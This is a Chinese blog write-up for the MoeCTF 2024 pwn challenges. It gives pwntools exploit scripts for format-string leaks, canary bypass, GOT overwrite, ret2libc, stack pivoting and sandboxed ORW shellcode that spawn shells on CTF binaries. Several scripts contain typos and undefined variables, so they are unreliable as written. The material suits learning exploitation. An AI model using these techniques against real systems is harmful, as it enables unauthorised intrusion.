Featured image of post Moectf2024-Pwn-Wp

Moectf2024-Pwn-Wp

整理了一下之前写的wp,把没做的也补上了。

pwn

个人认为本次赛题的综合性很强,并且非常适用于新手入门和过渡到之后的赛事,pwn题中没有堆题,但是关于rop和各种栈的考察,以及一些工具的使用非常到位,优秀的赛题

NotEnoughTime

一道计算题,要求时间在30s内通过 简洁运行(官方wp):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

from pwn import *


io = remote("192.168.77.1",51873)

io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")

for _ in range(20):
    io.sendline(
        str(
            eval(
                io.recvuntil(b"=")
                .replace(b"\n", b"")
                .replace(b"=", b"")
                .replace(b"/", b"//")
                .decode()
            )
        ).encode()
    )

io.interactive()

本人

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

from pwn import *

io = remote("192.168.77.1", 51873)

io.sendlineafter(b"=", b"2")

io.sendlineafter(b"=", b"0")

io.recvuntil(b"!")


# 增加一个打印输出,观察整个过程

print("开始循环处理:")


for _ in range(20):

    # 接收计算表达式

    expr = io.recvuntil(b"=").replace(b"\n", b"").replace(b"=", b"").replace(b"/", b"//").decode()

    # 打印收到的表达式

    print(f"收到的表达式: {expr}")

    # 计算结果

    result = eval(expr)


    # 打印计算结果

    print(f"计算结果: {result}")

    # 发送计算结果

    io.sendline(str(result).encode())


# 获取交互

io.interactive()

leak_sth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import*
context(log_level='debug')
p=process('./leaksth')
#p=remote('26.198.202.50',9999)
gdb.attach(p)

payload=b'%7$p'
p.sendlineafter(b'your name?',payload)
p.recvline()
p.recvline()
num=int(p.recv(10),16)
print(hex(num))

payload=str(num)
p.sendlineafter(b'Give me the number',payload)
p.interactive()

no_more_gets

gets可以实现无限读取,因此直接ret2text 但是要注意以下这条 movaps xmmword ptr [rsp + 0x50], xmm0system中要求[rsp+0x50]必须十六字节对齐,所以我们将劫持地址+1跳过这个汇编指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

io = process('./pwn')

# my_shell = 0x401176
bin_sh = 0x401177 

payload = cyclic(88) + p64(bin_sh)
io.sendlineafter(b".\n", payload)

io.interactive()

这是什么?32-bit!

注意一下32位execve()传参即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *

context(os='linux', arch='i386')
io = process('./pwn')
e = ELF('./pwn')

io.sendline()  
payload  = cyclic(0x28 + 4)
payload += flat([
    e.sym[b'execve'],           #  覆盖的返回地址
    0,                          # `execve` 返回地址
    next(e.search(b'/bin/sh')), # `execve` 参数 `pathname`
    0,                          # `execve` 参数 `argv`
    0                           # `execve` 参数 `envp`
])
io.sendline(payload)
io.interactive()

这是什么?GOT!

保护启动了partial relro,直接找GOT表,exit覆盖为后门函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import*
context(log_level='debug')
io=process('./pwn')
#io=remote('26.198.202.50',54772)
#gdb.attach(io)
system_plt=0401056
backdoor=0x40119A
 
payload=cyclic(0x10)+p64(system_plt)+cyclic(0x20)+p64(backdoor)
p.sendafter(b'This is `puts`.',payload)
p.interactive()

这是什么?libc!

程序开启了PIE随机化,泄露lbc后ret2libc即可,添加ret保证栈平衡

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(os="linux", arch="amd64")

io = process('/pwn')
#io=remote(...)
libc = ELF("./libc.so.6")

io.recvuntil(b"0x")
libc.address = int(io.recv(12), 16) - libc.sym["puts"]

payload = cyclic(9) + flat([
        libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`,用于栈指针对齐
        libc.search(asm("pop rdi; ret;")).__next__(),
        libc.search(b"/bin/sh\x00").__next__(),
        libc.sym["system"],
])
io.sendafter(b">", payload)

io.interactive()

这是什么?random!

伪随机,固定种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
from ctypes import cdll
from time import localtime

io=process('./pwn)
libc=cdll.LoadLibrary('libc.so.6')
libc.srand(0xe9)

for _ in range(12):
	io.sendlineafter(b'> ),str(libc.rand()%90000+10000).encode())

io.interactive()

Catch_the_canary!

泄露canary,或者scanf时传’+‘或’-‘跳过输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
context(log_level='debug')

 
for i in range(16768186,16768186+9029):
    io=remote('...')
    io.sendline(str(i))
    io.recvline()
    io.recvline()
    check=io.recvline()
    print(check)
    if b'[Error] Wrong! Try again.' in check:
        io.close()
    else:
        break

backdoor=0x4012C9
payload=b'a'*0x10+p64(0xbacd003)
io.sendlineafter(b'One shot.',b'+')
io.sendline(b'1')
io.sendline(str(0xbacd003))
io.sendafter(b'Stop it!',b'a'*0x19)
io.recvuntil(b'a'*0x19)
canary=b'\x00'+io.recv(7)
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*8+p64(backdoor)
io.sendline(payload)
io.interactive()

loginsystem

1
2
3
4
5
6
from pwn import *
io=remote('...')

io.sendafter(b"username: ",b'%9$ln '+p64(0x404050))
io.sendafter(b'password: \n',b'\x00'*8)
io.interactive()

pwn_it_off!

这题就有点意思了,voice_pwd中有未初始化的字符串,调试是会发现password同时也在栈中,提示中说strcmp 为什么比strncmp 危险。答案是strcmp会通过’\x00’截断对比,我们需要通过输入正确密码(即beep中残留字符串),在’\x00’后添加二进制形式数字最后才能通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

from pwn import*
context(log_level='debug')
io=process('./alarm')
 
def gdbs():
    gdb.attach(io)
    pause()
 
while True:
    temp=io.recvline()
    if b"[Error]" in temp:
        break
    pre_temp=temp #随机化beep所以写循环检测最后一组
 
password=pre_temp[28:28+15]+b'\x00'+p64(12345)[0:7]
print(p64(12345)[0:7])
p.sendafter(b'password.',password)
p.sendlineafter(b'password.',b'12345')

``

system_not_found!

观察得知,若是我们可以第一次read时把nbytes覆盖掉,第二次read就可以溢出了,然后泄露libc,ret2libc,关键是泄露出来的这个gadget到底是什么?gdb调试,main即将返回时rdi的值恰好是libc中的funlockfile,返回puts将会泄露出libc然后我们再返回到main去执行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./dialogue")
elf=ELF("./dialogue")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64190)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))



sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(elf.plt['puts'])+p64(elf.sym['main']))
ru(b'.\n')
one_gadget=u64(io.recv(6).ljust(8,b'\x00'))
log.success("one_gadget:"+hex(one_gadget))

ret=0x40101a
libc_addr=one_gadget-libc.sym['funlockfile']
bin_sh=libc_addr+libc.search(b"/bin/sh").__next__()
pop_rdi=libc_addr+libc.search(asm("pop rdi; ret;")).__next__()
pop_rsi=libc_addr+libc.search(asm("pop rsi; ret;")).__next__()
system_addr=libc_addr+libc.sym['system']
sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))


io.interactive()

VisibleInput

开启保护和沙箱 使用ae64可以快捷ret2shellcode,orw

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import*
from ae64 import AE64
context(arch='amd64')
io=process('./input')
#io=remote('...')
 
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,0x20240000,100)
payload+=shellcraft.write(1,0x20240000,100)
 
shellcode=AE64().encode(asm(payload),'rdx')
io.send(shellcode)
io.interactive()

Read_once_twice!

第一次读canary 第二次绕过canary,ret到backdoor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
io=process('./pwn')
#io=remote('...')
while true:

	io.sendafter(b'are turned on?\n',b'a'*0x19)
	io.recv(0x19)
	canary=b'\x00'+io.recv(7)
	io.sendafter(b'one more chance...\n',b'a'*0x18+canary+b'\x00'*8+p64((elf.sym["backdoor"]+1)[0:2])
	try:
		io.sendafter(b'hand.\n',b'ls')
	excepte Expection:
		continue
	break
io.interactive()

Got it!

名字上有got,那么应该就是对got表进行操作?

确实,可以注意这里这个溢出,输入索引v1会把save[v1]的地址存到now_save中,而输入16会把now_save的地址传给自己(now_save就在save下),再次运算操作就会修改now_save的值,修改了指针 于是先把指针修改为got之后,就可以根据偏移将puts(save[i])修改为system(/bin/sh) 由于本地环境不同记得要先patchelf一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context(log_level='debug',os='linux',arch='amd64')

context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote('172.22.192.1',54886)
elf_path = './pwn'
elf=ELF(elf_path)
libc_path = './libc.so.6'

libc=ELF(libc_path)

#io=remote("",)

#gdb.attach(io)

se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(num):

    sla(b'>',b'1')

    sla(b'Operand: ',str(num).encode())

def sub(num):

    sla(b'>',b'2')

    sla(b'Operand: ',str(num).encode())

  

sla(b'3. Exit',b'1')

sla(b'use?',b'0')

add(u64(b'/bin/sh\x00'))

sla(b'> ',b'5') ##返回

#puts修改为system
sla(b'3. Exit',b'1')
sla(b'use?',b'16')
sub(0x100) #now_save指向got.puts

add(libc.sym['system']-libc.sym['puts'])

#pause()

sl(b'5')
sl(b'3')

io.interactive()

栈的奇妙之旅

看名字估计就是栈迁移 PIE没开,只能多读16个字节,

bss段可写 那么思路就有了

  1. 栈迁移到bss
  2. bss里重新转移栈到输入时的头部开始执行rop
    • 具体一点说先输入got泄露libc
    • 然后pop出新的rbp可以执行read
    • 最后移栈到头部执行rop即可
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=remote("172.22.192.1",50420)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x4011c5
leave_ret=0x4011fc
bss=0x404000+0x200
main_addr=0x4011E5

sa(b'me?',b'a'*0x80+flat(bss,main_addr))

payload=flat([
    bss+0x600,
    pop_rdi,elf.got['puts'],
    elf.plt['puts'],
    main_addr
]).ljust(0x80,b'\x00')+p64(bss-0x80)+p64(leave_ret)

se(payload)
ru('\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
payload=flat([
    bss,
    pop_rdi,libc_base+libc.search(b'/bin/sh').__next__(),
    pop_rdi+1, #ret
    libc_base+libc.symbols['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
se(payload)


io.interactive()

where_is_fmt

虽说是板子题但是很有意思(其实是我不会),bss段上的fmt 思路是

  1. 泄露stack
  2. 根据提示栈上有比较长的链子修改栈上的链子指向返回地址
  3. 通过修改后的指针修改返回地址 格式化字符串泄露出的地址有好几个可以用,我们利用其中一个泄露出栈地址
    泄露出栈的ret基地址 关于payload,我们泄露出返回地址的栈地址之后,向偏移15的地方用$n修改其指向返回地址,
    如上图,经过修改我们已经在stack的链子上布置了ret的地址 第三次在指针修改过后修改偏移45的地址的返回地址到我们的后门
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64269)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))    
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


io.recv()
se("%8$p")
stack=int(rl(),16)-8
log.success('stack:'+hex(stack))

payload=f'%{stack & 0xffff}c%15$hn'.encode()
sla(b'chances',payload)

backdoor=0x401202
payload=f'%{backdoor & 0xffff}c%45$hn'.encode()
sla(b'chances',payload)

io.interactive()
本博客已稳定运行
发表了30篇文章 · 总计6万7千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...